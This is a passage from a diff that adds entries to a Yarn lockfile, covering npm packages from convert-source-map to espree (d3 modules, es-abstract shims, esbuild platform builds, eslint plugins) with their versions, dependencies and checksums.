10c0/281da55454bf8126cbc6625385928c43479f2060984180c42f3a86c8b8c12720a24eac260624a7d1e090004028d2dee78602330578ceec1a08e27cb8bb0a8a5b + languageName: node + linkType: hard + +"convert-source-map@npm:^2.0.0": + version: 2.0.0 + resolution: "convert-source-map@npm:2.0.0" + checksum: 10c0/8f2f7a27a1a011cc6cc88cc4da2d7d0cfa5ee0369508baae3d98c260bb3ac520691464e5bbe4ae7cdf09860c1d69ecc6f70c63c6e7c7f7e3f18ec08484dc7d9b + languageName: node + linkType: hard + +"cookie@npm:^1.0.1": + version: 1.1.1 + resolution: "cookie@npm:1.1.1" + checksum: 10c0/79c4ddc0fcad9c4f045f826f42edf54bcc921a29586a4558b0898277fa89fb47be95bc384c2253f493af7b29500c830da28341274527328f18eba9f58afa112c + languageName: node + linkType: hard + +"cosmiconfig@npm:^7.0.0": + version: 7.1.0 + resolution: "cosmiconfig@npm:7.1.0" + dependencies: + "@types/parse-json": "npm:^4.0.0" + import-fresh: "npm:^3.2.1" + parse-json: "npm:^5.0.0" + path-type: "npm:^4.0.0" + yaml: "npm:^1.10.0" + checksum: 10c0/b923ff6af581638128e5f074a5450ba12c0300b71302398ea38dbeabd33bbcaa0245ca9adbedfcf284a07da50f99ede5658c80bb3e39e2ce770a99d28a21ef03 + languageName: node + linkType: hard + +"cross-spawn@npm:^7.0.6": + version: 7.0.6 + resolution: "cross-spawn@npm:7.0.6" + dependencies: + path-key: "npm:^3.1.0" + shebang-command: "npm:^2.0.0" + which: "npm:^2.0.1" + checksum: 10c0/053ea8b2135caff68a9e81470e845613e374e7309a47731e81639de3eaeb90c3d01af0e0b44d2ab9d50b43467223b88567dfeb3262db942dc063b9976718ffc1 + languageName: node + linkType: hard + +"csstype@npm:^3.0.2, csstype@npm:^3.2.3": + version: 3.2.3 + resolution: "csstype@npm:3.2.3" + checksum: 10c0/cd29c51e70fa822f1cecd8641a1445bed7063697469d35633b516e60fe8c1bde04b08f6c5b6022136bb669b64c63d4173af54864510fbb4ee23281801841a3ce + languageName: node + linkType: hard + +"d3-array@npm:2 - 3, d3-array@npm:2.10.0 - 3, d3-array@npm:^3.2.4": + version: 3.2.4 + resolution: "d3-array@npm:3.2.4" + dependencies: + internmap: "npm:1 - 2" + checksum: 10c0/08b95e91130f98c1375db0e0af718f4371ccacef7d5d257727fe74f79a24383e79aba280b9ffae655483ffbbad4fd1dec4ade0119d88c4749f388641c8bf8c50 + languageName: node + linkType: hard + +"d3-color@npm:1 - 3, d3-color@npm:^3.1.0": + version: 3.1.0 + resolution: "d3-color@npm:3.1.0" + checksum: 10c0/a4e20e1115fa696fce041fbe13fbc80dc4c19150fa72027a7c128ade980bc0eeeba4bcf28c9e21f0bce0e0dbfe7ca5869ef67746541dcfda053e4802ad19783c + languageName: node + linkType: hard + +"d3-format@npm:1 - 3, d3-format@npm:^3.1.0": + version: 3.1.2 + resolution: "d3-format@npm:3.1.2" + checksum: 10c0/0de452ae07585238e7f01607a7e0066665c34609652188b6ac7dc9f424f69465a425e07d16d79bd0e5955202ac7f241c66d0c76f68a79fc6f4857c94cf420652 + languageName: node + linkType: hard + +"d3-interpolate@npm:1.2.0 - 3, d3-interpolate@npm:^3.0.1": + version: 3.0.1 + resolution: "d3-interpolate@npm:3.0.1" + dependencies: + d3-color: "npm:1 - 3" + checksum: 10c0/19f4b4daa8d733906671afff7767c19488f51a43d251f8b7f484d5d3cfc36c663f0a66c38fe91eee30f40327443d799be17169f55a293a3ba949e84e57a33e6a + languageName: node + linkType: hard + +"d3-path@npm:^3.1.0": + version: 3.1.0 + resolution: "d3-path@npm:3.1.0" + checksum: 10c0/dc1d58ec87fa8319bd240cf7689995111a124b141428354e9637aa83059eb12e681f77187e0ada5dedfce346f7e3d1f903467ceb41b379bfd01cd8e31721f5da + languageName: node + linkType: hard + +"d3-scale@npm:^4.0.2": + version: 4.0.2 + resolution: "d3-scale@npm:4.0.2" + dependencies: + d3-array: "npm:2.10.0 - 3" + d3-format: "npm:1 - 3" + d3-interpolate: "npm:1.2.0 - 3" + d3-time: "npm:2.1.1 - 3" + d3-time-format: "npm:2 - 4" + checksum: 10c0/65d9ad8c2641aec30ed5673a7410feb187a224d6ca8d1a520d68a7d6eac9d04caedbff4713d1e8545be33eb7fec5739983a7ab1d22d4e5ad35368c6729d362f1 + languageName: node + linkType: hard + +"d3-shape@npm:^3.2.0": + version: 3.2.0 + resolution: "d3-shape@npm:3.2.0" + dependencies: + d3-path: "npm:^3.1.0" + checksum: 10c0/f1c9d1f09926daaf6f6193ae3b4c4b5521e81da7d8902d24b38694517c7f527ce3c9a77a9d3a5722ad1e3ff355860b014557b450023d66a944eabf8cfde37132 + languageName: node + linkType: hard + +"d3-time-format@npm:2 - 4, d3-time-format@npm:^4.1.0": + version: 4.1.0 + resolution: "d3-time-format@npm:4.1.0" + dependencies: + d3-time: "npm:1 - 3" + checksum: 10c0/735e00fb25a7fd5d418fac350018713ae394eefddb0d745fab12bbff0517f9cdb5f807c7bbe87bb6eeb06249662f8ea84fec075f7d0cd68609735b2ceb29d206 + languageName: node + linkType: hard + +"d3-time@npm:1 - 3, d3-time@npm:2.1.1 - 3, d3-time@npm:^3.1.0": + version: 3.1.0 + resolution: "d3-time@npm:3.1.0" + dependencies: + d3-array: "npm:2 - 3" + checksum: 10c0/a984f77e1aaeaa182679b46fbf57eceb6ebdb5f67d7578d6f68ef933f8eeb63737c0949991618a8d29472dbf43736c7d7f17c452b2770f8c1271191cba724ca1 + languageName: node + linkType: hard + +"d3-timer@npm:^3.0.1": + version: 3.0.1 + resolution: "d3-timer@npm:3.0.1" + checksum: 10c0/d4c63cb4bb5461d7038aac561b097cd1c5673969b27cbdd0e87fa48d9300a538b9e6f39b4a7f0e3592ef4f963d858c8a9f0e92754db73116770856f2fc04561a + languageName: node + linkType: hard + +"damerau-levenshtein@npm:^1.0.8": + version: 1.0.8 + resolution: "damerau-levenshtein@npm:1.0.8" + checksum: 10c0/4c2647e0f42acaee7d068756c1d396e296c3556f9c8314bac1ac63ffb236217ef0e7e58602b18bb2173deec7ec8e0cac8e27cccf8f5526666b4ff11a13ad54a3 + languageName: node + linkType: hard + +"data-view-buffer@npm:^1.0.2": + version: 1.0.2 + resolution: "data-view-buffer@npm:1.0.2" + dependencies: + call-bound: "npm:^1.0.3" + es-errors: "npm:^1.3.0" + is-data-view: "npm:^1.0.2" + checksum: 10c0/7986d40fc7979e9e6241f85db8d17060dd9a71bd53c894fa29d126061715e322a4cd47a00b0b8c710394854183d4120462b980b8554012acc1c0fa49df7ad38c + languageName: node + linkType: hard + +"data-view-byte-length@npm:^1.0.2": + version: 1.0.2 + resolution: "data-view-byte-length@npm:1.0.2" + dependencies: + call-bound: "npm:^1.0.3" + es-errors: "npm:^1.3.0" + is-data-view: "npm:^1.0.2" + checksum: 10c0/f8a4534b5c69384d95ac18137d381f18a5cfae1f0fc1df0ef6feef51ef0d568606d970b69e02ea186c6c0f0eac77fe4e6ad96fec2569cc86c3afcc7475068c55 + languageName: node + linkType: hard + +"data-view-byte-offset@npm:^1.0.1": + version: 1.0.1 + resolution: "data-view-byte-offset@npm:1.0.1" + dependencies: + call-bound: "npm:^1.0.2" + es-errors: "npm:^1.3.0" + is-data-view: "npm:^1.0.1" + checksum: 10c0/fa7aa40078025b7810dcffc16df02c480573b7b53ef1205aa6a61533011005c1890e5ba17018c692ce7c900212b547262d33279fde801ad9843edc0863bf78c4 + languageName: node + linkType: hard + +"debug@npm:4, debug@npm:^4.1.0, debug@npm:^4.1.1, debug@npm:^4.3.1, debug@npm:^4.3.2, debug@npm:^4.3.4": + version: 4.4.3 + resolution: "debug@npm:4.4.3" + dependencies: + ms: "npm:^2.1.3" + peerDependenciesMeta: + supports-color: + optional: true + checksum: 10c0/d79136ec6c83ecbefd0f6a5593da6a9c91ec4d7ddc4b54c883d6e71ec9accb5f67a1a5e96d00a328196b5b5c86d365e98d8a3a70856aaf16b4e7b1985e67f5a6 + languageName: node + linkType: hard + +"deep-is@npm:^0.1.3": + version: 0.1.4 + resolution: "deep-is@npm:0.1.4" + checksum: 10c0/7f0ee496e0dff14a573dc6127f14c95061b448b87b995fc96c017ce0a1e66af1675e73f1d6064407975bc4ea6ab679497a29fff7b5b9c4e99cb10797c1ad0b4c + languageName: node + linkType: hard + +"deepmerge@npm:^2.1.1": + version: 2.2.1 + resolution: "deepmerge@npm:2.2.1" + checksum: 10c0/4379288cabd817587cee92a095ea65d18317b45e48010a2e0d87982b5f432239a144f9c8ebd4ab090cc21f0cb47e51ebfe32921f329b3b3084a2711d5d63e450 + languageName: node + linkType: hard + +"define-data-property@npm:^1.0.1, define-data-property@npm:^1.1.4": + version: 1.1.4 + resolution: "define-data-property@npm:1.1.4" + dependencies: + es-define-property: "npm:^1.0.0" + es-errors: "npm:^1.3.0" + gopd: "npm:^1.0.1" + checksum: 10c0/dea0606d1483eb9db8d930d4eac62ca0fa16738b0b3e07046cddfacf7d8c868bbe13fa0cb263eb91c7d0d527960dc3f2f2471a69ed7816210307f6744fe62e37 + languageName: node + linkType: hard + +"define-properties@npm:^1.1.3, define-properties@npm:^1.2.1": + version: 1.2.1 + resolution: "define-properties@npm:1.2.1" + dependencies: + define-data-property: "npm:^1.0.1" + has-property-descriptors: "npm:^1.0.0" + object-keys: "npm:^1.1.1" + checksum: 10c0/88a152319ffe1396ccc6ded510a3896e77efac7a1bfbaa174a7b00414a1747377e0bb525d303794a47cf30e805c2ec84e575758512c6e44a993076d29fd4e6c3 + languageName: node + linkType: hard + +"dequal@npm:^2.0.3": + version: 2.0.3 + resolution: "dequal@npm:2.0.3" + checksum: 10c0/f98860cdf58b64991ae10205137c0e97d384c3a4edc7f807603887b7c4b850af1224a33d88012009f150861cbee4fa2d322c4cc04b9313bee312e47f6ecaa888 + languageName: node + linkType: hard + +"doctrine@npm:^2.1.0": + version: 2.1.0 + resolution: "doctrine@npm:2.1.0" + dependencies: + esutils: "npm:^2.0.2" + checksum: 10c0/b6416aaff1f380bf56c3b552f31fdf7a69b45689368deca72d28636f41c16bb28ec3ebc40ace97db4c1afc0ceeb8120e8492fe0046841c94c2933b2e30a7d5ac + languageName: node + linkType: hard + +"dom-helpers@npm:^5.0.1": + version: 5.2.1 + resolution: "dom-helpers@npm:5.2.1" + dependencies: + "@babel/runtime": "npm:^7.8.7" + csstype: "npm:^3.0.2" + checksum: 10c0/f735074d66dd759b36b158fa26e9d00c9388ee0e8c9b16af941c38f014a37fc80782de83afefd621681b19ac0501034b4f1c4a3bff5caa1b8667f0212b5e124c + languageName: node + linkType: hard + +"dunder-proto@npm:^1.0.0, dunder-proto@npm:^1.0.1": + version: 1.0.1 + resolution: "dunder-proto@npm:1.0.1" + dependencies: + call-bind-apply-helpers: "npm:^1.0.1" + es-errors: "npm:^1.3.0" + gopd: "npm:^1.2.0" + checksum: 10c0/199f2a0c1c16593ca0a145dbf76a962f8033ce3129f01284d48c45ed4e14fea9bbacd7b3610b6cdc33486cef20385ac054948fefc6272fcce645c09468f93031 + languageName: node + linkType: hard + +"electron-to-chromium@npm:^1.5.263": + version: 1.5.302 + resolution: "electron-to-chromium@npm:1.5.302" + checksum: 10c0/014413f2b4ec3a0e043c68f6c07a760d230b14e36b8549c5b124f386a6318d9641e69be2aa0df1877395dd99922745c1722c8ecb3d72205f0f3b3b3dc44c8442 + languageName: node + linkType: hard + +"emoji-regex@npm:^9.2.2": + version: 9.2.2 + resolution: "emoji-regex@npm:9.2.2" + checksum: 10c0/af014e759a72064cf66e6e694a7fc6b0ed3d8db680427b021a89727689671cefe9d04151b2cad51dbaf85d5ba790d061cd167f1cf32eb7b281f6368b3c181639 + languageName: node + linkType: hard + +"encoding@npm:^0.1.13": + version: 0.1.13 + resolution: "encoding@npm:0.1.13" + dependencies: + iconv-lite: "npm:^0.6.2" + checksum: 10c0/36d938712ff00fe1f4bac88b43bcffb5930c1efa57bbcdca9d67e1d9d6c57cfb1200fb01efe0f3109b2ce99b231f90779532814a81370a1bd3274a0f58585039 + languageName: node + linkType: hard + +"env-paths@npm:^2.2.0": + version: 2.2.1 + resolution: "env-paths@npm:2.2.1" + checksum: 10c0/285325677bf00e30845e330eec32894f5105529db97496ee3f598478e50f008c5352a41a30e5e72ec9de8a542b5a570b85699cd63bd2bc646dbcb9f311d83bc4 + languageName: node + linkType: hard + +"err-code@npm:^2.0.2": + version: 2.0.3 + resolution: "err-code@npm:2.0.3" + checksum: 10c0/b642f7b4dd4a376e954947550a3065a9ece6733ab8e51ad80db727aaae0817c2e99b02a97a3d6cecc648a97848305e728289cf312d09af395403a90c9d4d8a66 + languageName: node + linkType: hard + +"error-ex@npm:^1.3.1": + version: 1.3.4 + resolution: "error-ex@npm:1.3.4" + dependencies: + is-arrayish: "npm:^0.2.1" + checksum: 10c0/b9e34ff4778b8f3b31a8377e1c654456f4c41aeaa3d10a1138c3b7635d8b7b2e03eb2475d46d8ae055c1f180a1063e100bffabf64ea7e7388b37735df5328664 + languageName: node + linkType: hard + +"es-abstract@npm:^1.17.5, es-abstract@npm:^1.23.2, es-abstract@npm:^1.23.3, es-abstract@npm:^1.23.5, es-abstract@npm:^1.23.6, es-abstract@npm:^1.23.9, es-abstract@npm:^1.24.0, es-abstract@npm:^1.24.1": + version: 1.24.1 + resolution: "es-abstract@npm:1.24.1" + dependencies: + array-buffer-byte-length: "npm:^1.0.2" + arraybuffer.prototype.slice: "npm:^1.0.4" + available-typed-arrays: "npm:^1.0.7" + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.4" + data-view-buffer: "npm:^1.0.2" + data-view-byte-length: "npm:^1.0.2" + data-view-byte-offset: "npm:^1.0.1" + es-define-property: "npm:^1.0.1" + es-errors: "npm:^1.3.0" + es-object-atoms: "npm:^1.1.1" + es-set-tostringtag: "npm:^2.1.0" + es-to-primitive: "npm:^1.3.0" + function.prototype.name: "npm:^1.1.8" + get-intrinsic: "npm:^1.3.0" + get-proto: "npm:^1.0.1" + get-symbol-description: "npm:^1.1.0" + globalthis: "npm:^1.0.4" + gopd: "npm:^1.2.0" + has-property-descriptors: "npm:^1.0.2" + has-proto: "npm:^1.2.0" + has-symbols: "npm:^1.1.0" + hasown: "npm:^2.0.2" + internal-slot: "npm:^1.1.0" + is-array-buffer: "npm:^3.0.5" + is-callable: "npm:^1.2.7" + is-data-view: "npm:^1.0.2" + is-negative-zero: "npm:^2.0.3" + is-regex: "npm:^1.2.1" + is-set: "npm:^2.0.3" + is-shared-array-buffer: "npm:^1.0.4" + is-string: "npm:^1.1.1" + is-typed-array: "npm:^1.1.15" + is-weakref: "npm:^1.1.1" + math-intrinsics: "npm:^1.1.0" + object-inspect: "npm:^1.13.4" + object-keys: "npm:^1.1.1" + object.assign: "npm:^4.1.7" + own-keys: "npm:^1.0.1" + regexp.prototype.flags: "npm:^1.5.4" + safe-array-concat: "npm:^1.1.3" + safe-push-apply: "npm:^1.0.0" + safe-regex-test: "npm:^1.1.0" + set-proto: "npm:^1.0.0" + stop-iteration-iterator: "npm:^1.1.0" + string.prototype.trim: "npm:^1.2.10" + string.prototype.trimend: "npm:^1.0.9" + string.prototype.trimstart: "npm:^1.0.8" + typed-array-buffer: "npm:^1.0.3" + typed-array-byte-length: "npm:^1.0.3" + typed-array-byte-offset: "npm:^1.0.4" + typed-array-length: "npm:^1.0.7" + unbox-primitive: "npm:^1.1.0" + which-typed-array: "npm:^1.1.19" + checksum: 10c0/fca062ef8b5daacf743732167d319a212d45cb655b0bb540821d38d715416ae15b04b84fc86da9e2c89135aa7b337337b6c867f84dcde698d75d55688d5d765c + languageName: node + linkType: hard + +"es-define-property@npm:^1.0.0, es-define-property@npm:^1.0.1": + version: 1.0.1 + resolution: "es-define-property@npm:1.0.1" + checksum: 10c0/3f54eb49c16c18707949ff25a1456728c883e81259f045003499efba399c08bad00deebf65cccde8c0e07908c1a225c9d472b7107e558f2a48e28d530e34527c + languageName: node + linkType: hard + +"es-errors@npm:^1.3.0": + version: 1.3.0 + resolution: "es-errors@npm:1.3.0" + checksum: 10c0/0a61325670072f98d8ae3b914edab3559b6caa980f08054a3b872052640d91da01d38df55df797fcc916389d77fc92b8d5906cf028f4db46d7e3003abecbca85 + languageName: node + linkType: hard + +"es-iterator-helpers@npm:^1.2.1": + version: 1.2.2 + resolution: "es-iterator-helpers@npm:1.2.2" + dependencies: + call-bind: "npm:^1.0.8" + call-bound: "npm:^1.0.4" + define-properties: "npm:^1.2.1" + es-abstract: "npm:^1.24.1" + es-errors: "npm:^1.3.0" + es-set-tostringtag: "npm:^2.1.0" + function-bind: "npm:^1.1.2" + get-intrinsic: "npm:^1.3.0" + globalthis: "npm:^1.0.4" + gopd: "npm:^1.2.0" + has-property-descriptors: "npm:^1.0.2" + has-proto: "npm:^1.2.0" + has-symbols: "npm:^1.1.0" + internal-slot: "npm:^1.1.0" + iterator.prototype: "npm:^1.1.5" + safe-array-concat: "npm:^1.1.3" + checksum: 10c0/1ced8abf845a45e660dd77b5f3a64358421df70e4a0bd1897d5ddfefffed8409a6a2ca21241b9367e639df9eca74abc1c678b3020bffe6bee1f1826393658ddb + languageName: node + linkType: hard + +"es-object-atoms@npm:^1.0.0, es-object-atoms@npm:^1.1.1": + version: 1.1.1 + resolution: "es-object-atoms@npm:1.1.1" + dependencies: + es-errors: "npm:^1.3.0" + checksum: 10c0/65364812ca4daf48eb76e2a3b7a89b3f6a2e62a1c420766ce9f692665a29d94fe41fe88b65f24106f449859549711e4b40d9fb8002d862dfd7eb1c512d10be0c + languageName: node + linkType: hard + +"es-set-tostringtag@npm:^2.1.0": + version: 2.1.0 + resolution: "es-set-tostringtag@npm:2.1.0" + dependencies: + es-errors: "npm:^1.3.0" + get-intrinsic: "npm:^1.2.6" + has-tostringtag: "npm:^1.0.2" + hasown: "npm:^2.0.2" + checksum: 10c0/ef2ca9ce49afe3931cb32e35da4dcb6d86ab02592cfc2ce3e49ced199d9d0bb5085fc7e73e06312213765f5efa47cc1df553a6a5154584b21448e9fb8355b1af + languageName: node + linkType: hard + +"es-shim-unscopables@npm:^1.0.2": + version: 1.1.0 + resolution: "es-shim-unscopables@npm:1.1.0" + dependencies: + hasown: "npm:^2.0.2" + checksum: 10c0/1b9702c8a1823fc3ef39035a4e958802cf294dd21e917397c561d0b3e195f383b978359816b1732d02b255ccf63e1e4815da0065b95db8d7c992037be3bbbcdb + languageName: node + linkType: hard + +"es-to-primitive@npm:^1.3.0": + version: 1.3.0 + resolution: "es-to-primitive@npm:1.3.0" + dependencies: + is-callable: "npm:^1.2.7" + is-date-object: "npm:^1.0.5" + is-symbol: "npm:^1.0.4" + checksum: 10c0/c7e87467abb0b438639baa8139f701a06537d2b9bc758f23e8622c3b42fd0fdb5bde0f535686119e446dd9d5e4c0f238af4e14960f4771877cf818d023f6730b + languageName: node + linkType: hard + +"esbuild@npm:^0.27.0": + version: 0.27.3 + resolution: "esbuild@npm:0.27.3" + dependencies: + "@esbuild/aix-ppc64": "npm:0.27.3" + "@esbuild/android-arm": "npm:0.27.3" + "@esbuild/android-arm64": "npm:0.27.3" + "@esbuild/android-x64": "npm:0.27.3" + "@esbuild/darwin-arm64": "npm:0.27.3" + "@esbuild/darwin-x64": "npm:0.27.3" + "@esbuild/freebsd-arm64": "npm:0.27.3" + "@esbuild/freebsd-x64": "npm:0.27.3" + "@esbuild/linux-arm": "npm:0.27.3" + "@esbuild/linux-arm64": "npm:0.27.3" + "@esbuild/linux-ia32": "npm:0.27.3" + "@esbuild/linux-loong64": "npm:0.27.3" + "@esbuild/linux-mips64el": "npm:0.27.3" + "@esbuild/linux-ppc64": "npm:0.27.3" + "@esbuild/linux-riscv64": "npm:0.27.3" + "@esbuild/linux-s390x": "npm:0.27.3" + "@esbuild/linux-x64": "npm:0.27.3" + "@esbuild/netbsd-arm64": "npm:0.27.3" + "@esbuild/netbsd-x64": "npm:0.27.3" + "@esbuild/openbsd-arm64": "npm:0.27.3" + "@esbuild/openbsd-x64": "npm:0.27.3" + "@esbuild/openharmony-arm64": "npm:0.27.3" + "@esbuild/sunos-x64": "npm:0.27.3" + "@esbuild/win32-arm64": "npm:0.27.3" + "@esbuild/win32-ia32": "npm:0.27.3" + "@esbuild/win32-x64": "npm:0.27.3" + dependenciesMeta: + "@esbuild/aix-ppc64": + optional: true + "@esbuild/android-arm": + optional: true + "@esbuild/android-arm64": + optional: true + "@esbuild/android-x64": + optional: true + "@esbuild/darwin-arm64": + optional: true + "@esbuild/darwin-x64": + optional: true + "@esbuild/freebsd-arm64": + optional: true + "@esbuild/freebsd-x64": + optional: true + "@esbuild/linux-arm": + optional: true + "@esbuild/linux-arm64": + optional: true + "@esbuild/linux-ia32": + optional: true + "@esbuild/linux-loong64": + optional: true + "@esbuild/linux-mips64el": + optional: true + "@esbuild/linux-ppc64": + optional: true + "@esbuild/linux-riscv64": + optional: true + "@esbuild/linux-s390x": + optional: true + "@esbuild/linux-x64": + optional: true + "@esbuild/netbsd-arm64": + optional: true + "@esbuild/netbsd-x64": + optional: true + "@esbuild/openbsd-arm64": + optional: true + "@esbuild/openbsd-x64": + optional: true + "@esbuild/openharmony-arm64": + optional: true + "@esbuild/sunos-x64": + optional: true + "@esbuild/win32-arm64": + optional: true + "@esbuild/win32-ia32": + optional: true + "@esbuild/win32-x64": + optional: true + bin: + esbuild: bin/esbuild + checksum: 10c0/fdc3f87a3f08b3ef98362f37377136c389a0d180fda4b8d073b26ba930cf245521db0a368f119cc7624bc619248fff1439f5811f062d853576f8ffa3df8ee5f1 + languageName: node + linkType: hard + +"escalade@npm:^3.2.0": + version: 3.2.0 + resolution: "escalade@npm:3.2.0" + checksum: 10c0/ced4dd3a78e15897ed3be74e635110bbf3b08877b0a41be50dcb325ee0e0b5f65fc2d50e9845194d7c4633f327e2e1c6cce00a71b617c5673df0374201d67f65 + languageName: node + linkType: hard + +"escape-string-regexp@npm:^4.0.0": + version: 4.0.0 + resolution: "escape-string-regexp@npm:4.0.0" + checksum: 10c0/9497d4dd307d845bd7f75180d8188bb17ea8c151c1edbf6b6717c100e104d629dc2dfb687686181b0f4b7d732c7dfdc4d5e7a8ff72de1b0ca283a75bbb3a9cd9 + languageName: node + linkType: hard + +"eslint-config-prettier@npm:10.1.8": + version: 10.1.8 + resolution: "eslint-config-prettier@npm:10.1.8" + peerDependencies: + eslint: ">=7.0.0" + bin: + eslint-config-prettier: bin/cli.js + checksum: 10c0/e1bcfadc9eccd526c240056b1e59c5cd26544fe59feb85f38f4f1f116caed96aea0b3b87868e68b3099e55caaac3f2e5b9f58110f85db893e83a332751192682 + languageName: node + linkType: hard + +"eslint-plugin-jsx-a11y@npm:6.10.2": + version: 6.10.2 + resolution: "eslint-plugin-jsx-a11y@npm:6.10.2" + dependencies: + aria-query: "npm:^5.3.2" + array-includes: "npm:^3.1.8" + array.prototype.flatmap: "npm:^1.3.2" + ast-types-flow: "npm:^0.0.8" + axe-core: "npm:^4.10.0" + axobject-query: "npm:^4.1.0" + damerau-levenshtein: "npm:^1.0.8" + emoji-regex: "npm:^9.2.2" + hasown: "npm:^2.0.2" + jsx-ast-utils: "npm:^3.3.5" + language-tags: "npm:^1.0.9" + minimatch: "npm:^3.1.2" + object.fromentries: "npm:^2.0.8" + safe-regex-test: "npm:^1.0.3" + string.prototype.includes: "npm:^2.0.1" + peerDependencies: + eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9 + checksum: 10c0/d93354e03b0cf66f018d5c50964e074dffe4ddf1f9b535fa020d19c4ae45f89c1a16e9391ca61ac3b19f7042c751ac0d361a056a65cbd1de24718a53ff8daa6e + languageName: node + linkType: hard + +"eslint-plugin-prettier@npm:5.5.5": + version: 5.5.5 + resolution: "eslint-plugin-prettier@npm:5.5.5" + dependencies: + prettier-linter-helpers: "npm:^1.0.1" + synckit: "npm:^0.11.12" + peerDependencies: + "@types/eslint": ">=8.0.0" + eslint: ">=8.0.0" + eslint-config-prettier: ">= 7.0.0 <10.0.0 || >=10.1.0" + prettier: ">=3.0.0" + peerDependenciesMeta: + "@types/eslint": + optional: true + eslint-config-prettier: + optional: true + checksum: 10c0/091449b28c77ab2efbbf674e977181f2c8453d95a4df68218bddd87a4dfaa9ecc4eda60164e416f5986fb5d577e66e8d8e1e23d81e8555f8d735375598b03257 + languageName: node + linkType: hard + +"eslint-plugin-react-hooks@npm:7.0.1": + version: 7.0.1 + resolution: "eslint-plugin-react-hooks@npm:7.0.1" + dependencies: + "@babel/core": "npm:^7.24.4" + "@babel/parser": "npm:^7.24.4" + hermes-parser: "npm:^0.25.1" + zod: "npm:^3.25.0 || ^4.0.0" + zod-validation-error: "npm:^3.5.0 || ^4.0.0" + peerDependencies: + eslint: ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0-0 || ^9.0.0 + checksum: 10c0/1e711d1a9d1fa9cfc51fa1572500656577201199c70c795c6a27adfc1df39e5c598f69aab6aa91117753d23cc1f11388579a2bed14921cf9a4efe60ae8618496 + languageName: node + linkType: hard + +"eslint-plugin-react@npm:7.37.5": + version: 7.37.5 + resolution: "eslint-plugin-react@npm:7.37.5" + dependencies: + array-includes: "npm:^3.1.8" + array.prototype.findlast: "npm:^1.2.5" + array.prototype.flatmap: "npm:^1.3.3" + array.prototype.tosorted: "npm:^1.1.4" + doctrine: "npm:^2.1.0" + es-iterator-helpers: "npm:^1.2.1" + estraverse: "npm:^5.3.0" + hasown: "npm:^2.0.2" + jsx-ast-utils: "npm:^2.4.1 || ^3.0.0" + minimatch: "npm:^3.1.2" + object.entries: "npm:^1.1.9" + object.fromentries: "npm:^2.0.8" + object.values: "npm:^1.2.1" + prop-types: "npm:^15.8.1" + resolve: "npm:^2.0.0-next.5" + semver: "npm:^6.3.1" + string.prototype.matchall: "npm:^4.0.12" + string.prototype.repeat: "npm:^1.0.0" + peerDependencies: + eslint: ^3 || ^4 || ^5 || ^6 || ^7 || ^8 || ^9.7 + checksum: 10c0/c850bfd556291d4d9234f5ca38db1436924a1013627c8ab1853f77cac73ec19b020e861e6c7b783436a48b6ffcdfba4547598235a37ad4611b6739f65fd8ad57 + languageName: node + linkType: hard + +"eslint-scope@npm:^9.1.0": + version: 9.1.1 + resolution: "eslint-scope@npm:9.1.1" + dependencies: + "@types/esrecurse": "npm:^4.3.1" + "@types/estree": "npm:^1.0.8" + esrecurse: "npm:^4.3.0" + estraverse: "npm:^5.2.0" + checksum: 10c0/58327b26cd6a78693951668ce68c466a535259173d187cbd5c9d3cbe657cfd5dfaf1c01ec3176b8f6f1cf240b48d01d01e0f76ad9300682d9dd51d5d1514d4c1 + languageName: node + linkType: hard + +"eslint-visitor-keys@npm:^3.4.3": + version: 3.4.3 + resolution: "eslint-visitor-keys@npm:3.4.3" + checksum: 10c0/92708e882c0a5ffd88c23c0b404ac1628cf20104a108c745f240a13c332a11aac54f49a22d5762efbffc18ecbc9a580d1b7ad034bf5f3cc3307e5cbff2ec9820 + languageName: node + linkType: hard + +"eslint-visitor-keys@npm:^4.2.1": + version: 4.2.1 + resolution: "eslint-visitor-keys@npm:4.2.1" + checksum: 10c0/fcd43999199d6740db26c58dbe0c2594623e31ca307e616ac05153c9272f12f1364f5a0b1917a8e962268fdecc6f3622c1c2908b4fcc2e047a106fe6de69dc43 + languageName: node + linkType: hard + +"eslint-visitor-keys@npm:^5.0.0, eslint-visitor-keys@npm:^5.0.1": + version: 5.0.1 + resolution: "eslint-visitor-keys@npm:5.0.1" + checksum: 10c0/16190bdf2cbae40a1109384c94450c526a79b0b9c3cb21e544256ed85ac48a4b84db66b74a6561d20fe6ab77447f150d711c2ad5ad74df4fcc133736bce99678 + languageName: node + linkType: hard + +"eslint@npm:10.0.0": + version: 10.0.0 + resolution: "eslint@npm:10.0.0" + dependencies: + "@eslint-community/eslint-utils": "npm:^4.8.0" + "@eslint-community/regexpp": "npm:^4.12.2" + "@eslint/config-array": "npm:^0.23.0" + "@eslint/config-helpers": "npm:^0.5.2" + "@eslint/core": "npm:^1.1.0" + "@eslint/plugin-kit": "npm:^0.6.0" + "@humanfs/node": "npm:^0.16.6" + "@humanwhocodes/module-importer": "npm:^1.0.1" + "@humanwhocodes/retry": "npm:^0.4.2" + "@types/estree": "npm:^1.0.6" + ajv: "npm:^6.12.4" + cross-spawn: "npm:^7.0.6" + debug: "npm:^4.3.2" + escape-string-regexp: "npm:^4.0.0" + eslint-scope: "npm:^9.1.0" + eslint-visitor-keys: "npm:^5.0.0" + espree: "npm:^11.1.0" + esquery: "npm:^1.7.0" + esutils: "npm:^2.0.2" + fast-deep-equal: "npm:^3.1.3" + file-entry-cache: "npm:^8.0.0" + find-up: "npm:^5.0.0" + glob-parent: "npm:^6.0.2" + ignore: "npm:^5.2.0" + imurmurhash: "npm:^0.1.4" + is-glob: "npm:^4.0.0" + json-stable-stringify-without-jsonify: "npm:^1.0.1" + minimatch: "npm:^10.1.1" + natural-compare: "npm:^1.4.0" + optionator: "npm:^0.9.3" + peerDependencies: + jiti: "*" + peerDependenciesMeta: + jiti: + optional: true + bin: + eslint: bin/eslint.js + checksum: 10c0/87f3aa069693969841d773423c214ec83226873ead8565a65bdb40a7a0d3d5c95b8262c8232403eea235c5e1477457f893a3b6a72a0f4abc6bf2fee8f8410ef8 + languageName: node + linkType: hard + +"espree@npm:^10.0.1": + version: 10.4.0 + resolution: "espree@npm:10.4.0" + dependencies: + acorn: "npm:^8.15.0" + acorn-jsx: "npm:^5.3.2" + eslint-visitor-keys: "npm:^4.2.1" + checksum: 10c0/c63fe06131c26c8157b4083313cb02a9a54720a08e21543300e55288c40e06c3fc284bdecf108d3a1372c5934a0a88644c98714f38b6ae8ed272b40d9ea08d6b + languageName: 